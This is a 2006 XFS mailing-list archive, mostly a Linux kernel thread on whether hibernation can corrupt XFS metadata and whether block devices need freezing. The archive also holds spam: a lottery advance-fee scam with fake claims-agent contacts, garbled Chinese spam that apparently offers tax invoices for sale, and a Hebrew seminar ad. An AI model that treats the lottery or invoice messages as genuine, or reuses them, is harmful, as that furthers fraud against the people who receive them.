¡ÚÉϺ£¡¢Õã½­¡¢¹ã¶«¡¢¡¢¡¢¡ÛÓÐÒµÎñÍùÀ´£¬ÆÕͨ¹úµØË°£ûÉÌÆ·ÏúÊÛ,ÉÌÒµ,¹¤Òµ.»õÎïÏúÊÛרÓÃ˰Ʊ, ¹ã¸æÒµ×¨ÓÃ˰Ʊ, ½¨Öþ°²×°Ë°Æ±,¹«Â·ÄÚºÓÔËÊä˰Ʊ,¹ú¼Êº£ÔË˰Ʊ,·þÎñÀà˰Ʊ,·Ï¾ÉÎïרÓÃ˰Ʊ.....µÈ£ýÖ»ÊÕ1.5%×óÓÒ,Ôöֵ˰˰µãÔÚ 4.5%×óÓÒ.»¶Ó­ÄúÀ´µçÇ¢ÉÌ£¡ (´Ë×ÊÁϳ¤ÆÚÓÐЧ,ÈçÓÐÖØ·¢µ½ÄúÓÊÏä»òÄúûÓÐÕâ·½ÃæÐèÒª,¶ÔÄúÔì³É²»±ä¾´ÇëÁ½â~) ÁªÏµÈË:¸ß¶«¿¡(¾­Àí) ÁªÏµµç»°:13691999256 Email:gaodongjun99256@yahoo.com.cn From owner-xfs@oss.sgi.com Wed Oct 25 01:06:56 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 25 Oct 2006 01:07:08 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9P86taG023203 for ; Wed, 25 Oct 2006 01:06:56 -0700 X-ASG-Debug-ID: 1161763565-1385-16-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from amd.ucw.cz (gprs189-60.eurotel.cz [160.218.189.60]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2D6104D6F73 for ; Wed, 25 Oct 2006 01:06:09 -0700 (PDT) Received: by amd.ucw.cz (Postfix, from userid 8) id 2AEA02BE3B; Wed, 25 Oct 2006 10:05:58 +0200 (CEST) Date: Wed, 25 Oct 2006 10:05:58 +0200 From: Pavel Machek To: Oleg Verych Cc: "Rafael J. Wysocki" , David Chinner , Nigel Cunningham , Andrew Morton , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. Message-ID: <20061025080558.GK5851@elf.ucw.cz> References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610231236.54317.rjw@sisk.pl> <20061024144446.GD11034@melbourne.sgi.com> <200610241730.00488.rjw@sisk.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: X-Warning: Reading this can be dangerous to your mental health. User-Agent: Mutt/1.5.11+cvs20060126 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24047 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9434 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: pavel@ucw.cz Precedence: bulk X-list: xfs Status: O Hi! > >> However, I have to say that I agree with freezing the filesystems > >> before suspend - at least XFS will be in a consistent state that can > >> be recovered from without corruption if your machine fails to > >> resume.... > > > > Do you mean calling sys_sync() after the userspace has been frozen > > may not be sufficient? > > Please see > > > it's bottom of > > > IMHO it's may be helpful. Heh, ouch. Okay, so what happens is that Debian's scripts attempt to change /boot/../grub.conf.something (xfs mounted). Changes are properly propagated to the journal, but grub can't parse the journal, and fails. Ouch. Either 1) fix grub to parse the journal (not practical, I guess) 2) do not modify grub configuration from hibernate scripts or 3) fix hibernate scripts to sync down to disk, properly. swsusp does not guarantee any particular state of filesystems when system is suspended. Sorry. Pavel -- (english) http://www.livejournal.com/~pavelmachek (cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html From owner-xfs@oss.sgi.com Wed Oct 25 01:11:03 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 25 Oct 2006 01:11:13 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9P8B1aG024184 for ; Wed, 25 Oct 2006 01:11:03 -0700 X-ASG-Debug-ID: 1161763811-5036-251-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from amd.ucw.cz (gprs189-60.eurotel.cz [160.218.189.60]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2BBEDD1ABF55 for ; Wed, 25 Oct 2006 01:10:14 -0700 (PDT) Received: by amd.ucw.cz (Postfix, from userid 8) id E573C2BE3B; Wed, 25 Oct 2006 10:10:01 +0200 (CEST) Date: Wed, 25 Oct 2006 10:10:01 +0200 From: Pavel Machek To: David Chinner Cc: "Rafael J. Wysocki" , Nigel Cunningham , Andrew Morton , LKML , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. Message-ID: <20061025081001.GL5851@elf.ucw.cz> References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610231236.54317.rjw@sisk.pl> <20061024144446.GD11034@melbourne.sgi.com> <200610241730.00488.rjw@sisk.pl> <20061024163345.GG11034@melbourne.sgi.com> <20061024213737.GD5662@elf.ucw.cz> <20061025001331.GP8394166@melbourne.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061025001331.GP8394166@melbourne.sgi.com> X-Warning: Reading this can be dangerous to your mental health. User-Agent: Mutt/1.5.11+cvs20060126 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24049 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9435 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: pavel@ucw.cz Precedence: bulk X-list: xfs Status: O Hi! > > > > Do you mean calling sys_sync() after the userspace has been frozen > > > > may not be sufficient? > > > > > > In most cases it probably is, but sys_sync() doesn't provide any > > > guarantees that the filesystem is not being used or written to after > > > it completes. Given that every so often I hear about an XFS filesystem > > > that was corrupted by suspend, I don't think this is sufficient... > > > > Userspace is frozen. There's noone that can write to the XFS > > filesystem. > > Sure, no new userspace processes can write data, but what about the > internal state of the filesystem? > > All a sync guarantees is that the filesystem is consistent when the > sync returns and XFS provides this guarantee by writing all data and > ensuring all metadata changes are logged so if a crash occurs it can > be recovered (which provides the sync guarantee). hence after a > sys_sync(), XFS will still have lots of dirty metadata that needs to > be written to disk at some time in the future so the transactions > can be removed from the log. > > This dirty metadata can be flushed at any time, and the dirty state > is kept in XFS structures and not always in page structures (think > multipage metadata buffers). Hence I cannot see how suspend can > guarantee that it has saved all the dirty data in XFS, nor > restore it correctly on resume. Once you toss dirty metadata that > is currently in the log, further operations will result in that log > transaction being overwritten without it ever being written to disk. > That then means any subsequent operations after resume will corrupt > the filesystem.... > > Hence the only way to correctly rebuild the XFS state on resume is > to quiesce the filesystem on suspend and thaw it on resume so as to > trigger log recovery. No, during suspend/resume, memory image is saved, and no state is lost. We would not even have to do sys_sync(), and suspend/resume would still work properly. sys_sync() is there only to limit damage in case of suspend/resume failure. Pavel -- (english) http://www.livejournal.com/~pavelmachek (cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html From owner-xfs@oss.sgi.com Wed Oct 25 01:39:36 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 25 Oct 2006 01:39:43 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9P8dWaG030039 for ; Wed, 25 Oct 2006 01:39:34 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id SAA00959; Wed, 25 Oct 2006 18:38:39 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9P8cZ7Y16000626; Wed, 25 Oct 2006 18:38:36 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9P8cUPW15991328; Wed, 25 Oct 2006 18:38:30 +1000 (AEST) Date: Wed, 25 Oct 2006 18:38:30 +1000 From: David Chinner To: Pavel Machek Cc: David Chinner , "Rafael J. Wysocki" , Nigel Cunningham , Andrew Morton , LKML , xfs@oss.sgi.com Subject: Re: [PATCH] Freeze bdevs when freezing processes. Message-ID: <20061025083830.GI11034@melbourne.sgi.com> References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610231236.54317.rjw@sisk.pl> <20061024144446.GD11034@melbourne.sgi.com> <200610241730.00488.rjw@sisk.pl> <20061024163345.GG11034@melbourne.sgi.com> <20061024213737.GD5662@elf.ucw.cz> <20061025001331.GP8394166@melbourne.sgi.com> <20061025081001.GL5851@elf.ucw.cz> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061025081001.GL5851@elf.ucw.cz> User-Agent: Mutt/1.4.2.1i X-archive-position: 9436 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Wed, Oct 25, 2006 at 10:10:01AM +0200, Pavel Machek wrote: > > Hence the only way to correctly rebuild the XFS state on resume is > > to quiesce the filesystem on suspend and thaw it on resume so as to > > trigger log recovery. > > No, during suspend/resume, memory image is saved, and no state is > lost. We would not even have to do sys_sync(), and suspend/resume > would still work properly. It seems to me that you ensure the filesystem is synced to disk and then at some point later you record the memory state of the filesystem, but these happen at different times. That leaves a window for things to get out of sync again, right? Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Wed Oct 25 01:48:35 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 25 Oct 2006 01:48:42 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9P8mYaG032413 for ; Wed, 25 Oct 2006 01:48:35 -0700 X-ASG-Debug-ID: 1161766063-15288-358-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from amd.ucw.cz (gprs189-60.eurotel.cz [160.218.189.60]) by cuda.sgi.com (Spam Firewall) with ESMTP id BE4A94D7B83 for ; Wed, 25 Oct 2006 01:47:45 -0700 (PDT) Received: by amd.ucw.cz (Postfix, from userid 8) id 8787A2BE3B; Wed, 25 Oct 2006 10:47:14 +0200 (CEST) Date: Wed, 25 Oct 2006 10:47:14 +0200 From: Pavel Machek To: David Chinner Cc: "Rafael J. Wysocki" , Nigel Cunningham , Andrew Morton , LKML , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. Message-ID: <20061025084714.GA7266@elf.ucw.cz> References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610231236.54317.rjw@sisk.pl> <20061024144446.GD11034@melbourne.sgi.com> <200610241730.00488.rjw@sisk.pl> <20061024163345.GG11034@melbourne.sgi.com> <20061024213737.GD5662@elf.ucw.cz> <20061025001331.GP8394166@melbourne.sgi.com> <20061025081001.GL5851@elf.ucw.cz> <20061025083830.GI11034@melbourne.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061025083830.GI11034@melbourne.sgi.com> X-Warning: Reading this can be dangerous to your mental health. User-Agent: Mutt/1.5.11+cvs20060126 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24051 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9437 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: pavel@ucw.cz Precedence: bulk X-list: xfs Status: O On Wed 2006-10-25 18:38:30, David Chinner wrote: > On Wed, Oct 25, 2006 at 10:10:01AM +0200, Pavel Machek wrote: > > > Hence the only way to correctly rebuild the XFS state on resume is > > > to quiesce the filesystem on suspend and thaw it on resume so as to > > > trigger log recovery. > > > > No, during suspend/resume, memory image is saved, and no state is > > lost. We would not even have to do sys_sync(), and suspend/resume > > would still work properly. > > It seems to me that you ensure the filesystem is synced to disk and > then at some point later you record the memory state of the > filesystem, but these happen at different times. That leaves a > window for things to get out of sync again, right? I DO NOT HAVE TO ENSURE FILESYSTEM IS SYNCED. That sys_sync() is optional. Recording of memory state is atomic, and as long as noone writes to the disk after atomic snapshot, memory image matches what is on disk. Pavel -- (english) http://www.livejournal.com/~pavelmachek (cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html From owner-xfs@oss.sgi.com Wed Oct 25 02:41:07 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 25 Oct 2006 02:41:18 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9P9f4aG010737 for ; Wed, 25 Oct 2006 02:41:07 -0700 X-ASG-Debug-ID: 1161769219-9143-910-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mxco.arishost.com (unknown [69.28.157.184]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9D509D1A71EE for ; Wed, 25 Oct 2006 02:40:19 -0700 (PDT) X-C-Loop-Control: 200610250659 Content-Disposition: inline Content-Transfer-Encoding: binary Content-Type: text/plain MIME-Version: 1.0 X-Mailer: MIME::Lite 2.117 (F2.6; B2.14; Q2.09) From: claimagent@eightballgamez.com Bcc: X-ASG-Orig-Subj: Your Lotto Winnings Subject: Your Lotto Winnings Date: Wed, 25 Oct 2006 02:59:48 EDT X-Mailer: Jaos.org WebMail 2.4.1 Message-Id: <20061025094019.9D509D1A71EE@cuda.sgi.com> X-Barracuda-Spam-Score: 1.58 X-Barracuda-Spam-Status: No, SCORE=1.58 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MISSING_HEADERS, MSGID_FROM_MTA_ID, NO_REAL_NAME, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24053 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 0.70 MSGID_FROM_MTA_ID Message-Id for external message added locally 0.19 MISSING_HEADERS Missing To: header 0.13 TO_CC_NONE No To: or Cc: header X-archive-position: 9438 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: claimagent@eightballgamez.com Precedence: bulk X-list: xfs Status: O 8BALL GAMES LOTTERY 344 Oxford Road Reading, Berkshire, RG30 1A United Kingdom Dear Winner, We are pleased to announce you as one of the 3 lucky winners in the 8BALL GAMES LOTTERY draw held on 23rd of October 2006. All 3 winning addresses were randomly selected from a batch of 5,000,000 international emails. Your email address emerged alongside to others as a 3rd category winner in this month's draw. Consequently, you have therefore been approved for a total pay out of £2,000,000 Pounds (Two million pounds) only.The following particulars are attached to your lotto payment order: (i) Winning numbers: 7, 31, 62, 21, 74, 80 (ii) Serial number: 21-8-1974 (iii) Lotto batch number: FL-101 (iv) Reference number: SBF-404-3 Please contact the underlisted claims officer as soon as possible for the immediate release of your winnings: Mr. Peter Nolton Claims Department Manager COIN SECURITY COMPANY LONDON Email: claimsagent@coinsecuritycompany.com Tel: +44 701113 0141 Tel: +44 701112 9894 Fax: +44 700596 4362 Once again on behalf of all our staff, CONGRATULATIONS!!! Sincerely, Mr. Kenneth Collins Promotions Manager N.B: 1.All claims are nullified after 10 working days from today. 2.Your Ref number must be in all your mails with the claims officer. 3.Do inform the claims officer of any change of names or addresses. 4.All winners under the age of 18 are automatically disqualified. 5.Please contact your claims agent by fax or email "Mr. Peter Nolton" claimsagent@coinsecuritycompany.com From owner-xfs@oss.sgi.com Wed Oct 25 05:34:20 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 25 Oct 2006 05:34:31 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9PCYIaG018084 for ; Wed, 25 Oct 2006 05:34:20 -0700 X-ASG-Debug-ID: 1161779610-16696-194-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ogre.sisk.pl (ogre.sisk.pl [217.79.144.158]) by cuda.sgi.com (Spam Firewall) with ESMTP id 54EC64D60C6 for ; Wed, 25 Oct 2006 05:33:31 -0700 (PDT) Received: from localhost (localhost.localdomain [127.0.0.1]) by ogre.sisk.pl (Postfix) with ESMTP id 59B5C13977; Wed, 25 Oct 2006 14:25:25 +0200 (CEST) Received: from ogre.sisk.pl ([127.0.0.1]) by localhost (ogre.sisk.pl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 22114-01; Wed, 25 Oct 2006 14:25:24 +0200 (CEST) Received: from albercik.fuw.edu.pl (albercik.fuw.edu.pl [193.0.83.66]) (using SSLv3 with cipher EXP1024-RC4-SHA (56/128 bits)) (No client certificate requested) by ogre.sisk.pl (Postfix) with ESMTP id BC198CAFD; Wed, 25 Oct 2006 14:25:24 +0200 (CEST) From: "Rafael J. Wysocki" To: Pavel Machek X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. Date: Wed, 25 Oct 2006 14:32:39 +0200 User-Agent: KMail/1.9.1 Cc: David Chinner , Nigel Cunningham , Andrew Morton , LKML , xfs@oss.sgi.com References: <1161576735.3466.7.camel@nigel.suspend2.net> <20061025083830.GI11034@melbourne.sgi.com> <20061025084714.GA7266@elf.ucw.cz> In-Reply-To: <20061025084714.GA7266@elf.ucw.cz> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200610251432.41958.rjw@sisk.pl> X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24066 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9439 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: rjw@sisk.pl Precedence: bulk X-list: xfs Status: O On Wednesday, 25 October 2006 10:47, Pavel Machek wrote: > On Wed 2006-10-25 18:38:30, David Chinner wrote: > > On Wed, Oct 25, 2006 at 10:10:01AM +0200, Pavel Machek wrote: > > > > Hence the only way to correctly rebuild the XFS state on resume is > > > > to quiesce the filesystem on suspend and thaw it on resume so as to > > > > trigger log recovery. > > > > > > No, during suspend/resume, memory image is saved, and no state is > > > lost. We would not even have to do sys_sync(), and suspend/resume > > > would still work properly. > > > > It seems to me that you ensure the filesystem is synced to disk and > > then at some point later you record the memory state of the > > filesystem, but these happen at different times. That leaves a > > window for things to get out of sync again, right? > > I DO NOT HAVE TO ENSURE FILESYSTEM IS SYNCED. That sys_sync() is > optional. > > Recording of memory state is atomic, and as long as noone writes to > the disk after atomic snapshot, memory image matches what is on disk. Well, my impression is that this is exactly what happens here: Something in the XFS code causes metadata to be written to disk _after_ the atomic snapshot. That's why I asked if the dirty XFS metadata were flushed by a kernel thread. Greetings, Rafael -- You never change things by fighting the existing reality. R. Buckminster Fuller From owner-xfs@oss.sgi.com Wed Oct 25 06:51:13 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 25 Oct 2006 06:51:24 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9PDpCaG004189 for ; Wed, 25 Oct 2006 06:51:13 -0700 X-ASG-Debug-ID: 1161784225-24887-2-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from pop5-1.us4.outblaze.com (pop5-1.us4.outblaze.com [205.158.62.125]) by cuda.sgi.com (Spam Firewall) with SMTP id C6568D1AD073 for ; Wed, 25 Oct 2006 06:50:25 -0700 (PDT) Received: (qmail 30932 invoked from network); 25 Oct 2006 13:25:44 -0000 Received: from unknown (HELO ?10.1.1.3?) (ncunningham@linuxmail.org@203.171.70.205) by pop5-1.us4.outblaze.com with SMTP; 25 Oct 2006 13:25:44 -0000 X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. From: Nigel Cunningham To: "Rafael J. Wysocki" Cc: Pavel Machek , David Chinner , Andrew Morton , LKML , xfs@oss.sgi.com In-Reply-To: <200610251432.41958.rjw@sisk.pl> References: <1161576735.3466.7.camel@nigel.suspend2.net> <20061025083830.GI11034@melbourne.sgi.com> <20061025084714.GA7266@elf.ucw.cz> <200610251432.41958.rjw@sisk.pl> Content-Type: text/plain Date: Wed, 25 Oct 2006 23:23:40 +1000 Message-Id: <1161782620.3638.0.camel@nigel.suspend2.net> Mime-Version: 1.0 X-Mailer: Evolution 2.8.1 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24072 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9440 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: ncunningham@linuxmail.org Precedence: bulk X-list: xfs Status: O Hi. On Wed, 2006-10-25 at 14:32 +0200, Rafael J. Wysocki wrote: > On Wednesday, 25 October 2006 10:47, Pavel Machek wrote: > > On Wed 2006-10-25 18:38:30, David Chinner wrote: > > > On Wed, Oct 25, 2006 at 10:10:01AM +0200, Pavel Machek wrote: > > > > > Hence the only way to correctly rebuild the XFS state on resume is > > > > > to quiesce the filesystem on suspend and thaw it on resume so as to > > > > > trigger log recovery. > > > > > > > > No, during suspend/resume, memory image is saved, and no state is > > > > lost. We would not even have to do sys_sync(), and suspend/resume > > > > would still work properly. > > > > > > It seems to me that you ensure the filesystem is synced to disk and > > > then at some point later you record the memory state of the > > > filesystem, but these happen at different times. That leaves a > > > window for things to get out of sync again, right? > > > > I DO NOT HAVE TO ENSURE FILESYSTEM IS SYNCED. That sys_sync() is > > optional. > > > > Recording of memory state is atomic, and as long as noone writes to > > the disk after atomic snapshot, memory image matches what is on disk. > > Well, my impression is that this is exactly what happens here: Something > in the XFS code causes metadata to be written to disk _after_ the atomic > snapshot. > > That's why I asked if the dirty XFS metadata were flushed by a kernel thread. When I first added bdev freezing it was because there was an XFS timer doing writes. Regards, Nigel From owner-xfs@oss.sgi.com Wed Oct 25 20:56:39 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 25 Oct 2006 20:56:49 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9Q3ucaG030234 for ; Wed, 25 Oct 2006 20:56:39 -0700 X-ASG-Debug-ID: 1161834951-6586-240-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from AZRIELMAIN (85-250-164-141.bb.netvision.net.il [85.250.164.141]) by cuda.sgi.com (Spam Firewall) with SMTP id 7E095D1AFBED for ; Wed, 25 Oct 2006 20:55:51 -0700 (PDT) Received: from AZRIELMAIN[127.0.0.1] by AZRIELMAIN[127.0.0.1] (SMTPD32); Thu, 26 Oct 2006 05:55:36 +0200 Message-ID: From: "=?windows-1255?Q?=F1=EE=E9=F0=F8=E9=ED_=EC=EE=F0=E4=EC=E9=ED?=" To: X-ASG-Orig-Subj: =?windows-1255?Q?=EB=F1=F3_=E5=E4=F6=EC=E7=E4_-_=E4=F8=F6=E0=FA_=EE=E1=E5=E0_=EC=EC=E0_=FA=F9=EC=E5=ED_=E1-1_=EC=F0=E5=E1=EE=E1=F8_=E1=F9=F2=E4_17:00?= Subject: =?windows-1255?Q?=EB=F1=F3_=E5=E4=F6=EC=E7=E4_-_=E4=F8=F6=E0=FA_=EE=E1=E5=E0_=EC=EC=E0_=FA=F9=EC=E5=ED_=E1-1_=EC=F0=E5=E1=EE=E1=F8_=E1=F9=F2=E4_17:00?= Date: Thu, 26 Oct 2006 05:39:58 +0200 MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=SPLITOR00A_001_479670546D" X-Barracuda-Spam-Score: 0.26 X-Barracuda-Spam-Status: No, SCORE=0.26 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_FONT_BIG, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24128 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.26 HTML_FONT_BIG BODY: HTML tag for a big font size 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts X-archive-position: 9441 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: seminar8@017.net.il Precedence: bulk X-list: xfs Status: O This is a multi-part message in MIME format. ------=SPLITOR00A_001_479670546D Content-Type: text/html; charset="windows-1255" Content-Transfer-Encoding: quoted-printable =EB=F1=F3 =E5=E4=F6=EC=E7=E4

      =EB=F1=F3=20 =E5=E4=F6=EC=E7=E4

       

      =E7=E1=F8=FA=20 =F8=E9=E8=E4 =E6=E5=E4=F8 =F2=E5=F8=EB=FA =E1-1 =EC=F0=E5=E1=EE=E1=F8 =E4= =F8=F6=E0=FA =EE=E1=E5=E0 =EC=EC=E0 =FA=F9=EC=E5=ED

      =F2=ED=20 =F0=F9=E9=E0 =E4=E7=E1=F8=E4 =EE=F8 =F9=E5=F7=E9 =EE=E6=F8=E7=E9=

      =E4=F1=EE=E9=F0=F8=20 =E9=FA=F7=E9=E9=ED =E1=E9=EF =E4=F9=F2=E5=FA 17:00 - 20:00

       

      =E1=F1=EE=E9=F0=F8 =F0=F2=F0= =E4 =F2=EC=20 =E4=F9=E0=EC=E5=FA:

       

      =B7      =EE=E4=E5 =E4=E2=E5= =F8=ED =E4=E9=E7=E9=E3 =EC=EC=E7=F5 =F0=F4=F9=E9=20 (Stress)=20 ?

      =B7      =EE=E4=E5 =E4=E3=E1= =F8 =E4=E0=E7=E3 =F9=E4=E9=F0=E5=20 =E9=E5=FA=F8 =E2=F8=E5=F2 =EE=EE=E5=E5=FA ?

      =B7      =EE=E4 =E6=E4 =EB= =F1=F3 =E1=F2=F6=ED=20 ?

      =B7      =EE=E4=E5 =EE=F1=EC= =E5=EC =E4=E6=F8=E9=EE=E4 =F9=EC =EB=F1=F3=20 ?

      =B7      =E5=EE=E4 =E0=FA=E4 =E9=EB=E5= =EC =EC=F2=F9=E5=FA =F2=EB=F9=E9=E5 =EB=E3=E9 =EC=E4=E2=E1=E9=F8=20 =E0=FA =E4=E9=EB=E5=EC=E5=FA =F9=EC=EA ?

       

      =EB=EC =EE=E9=20 =F9=EE=F2=E5=F0=E9=E9=EF =F0=E0 =EC=EE=EC=E0 =E0=FA =E4=F4=F8=E8=E9=ED =EC= =EE=E8=E4

      =E5=EC=E4=F9=E9=E1=20 =E1=EE=E9=E9=EC =E7=E5=E6=F8 =F2"=EE =F9=F0=F9=F8=E9=E9=EF =E0=FA =EE=F7=E5= =EE=E5

      ----------------------------------------------= ---------------------------------------------------------------------------= -------------------------

       

      =F9=ED:=20 _________________________    

       

      =F9=ED =E4=E7= =E1=F8=E4:=20 ____________________

       

      =E8=EC=F4=E5=EF= /=F0=E9=E9=E3:=20 ______________________

       

       

      ----------------------------------------------= ---------------------------------------------------------------------------= -------------------------

       

       

      3D""

       

      =E7=E1=F8=FA=20 =F8=E9=E8=E4 =E6=E4=F8

      054-4315023

       03-6449049

       

       

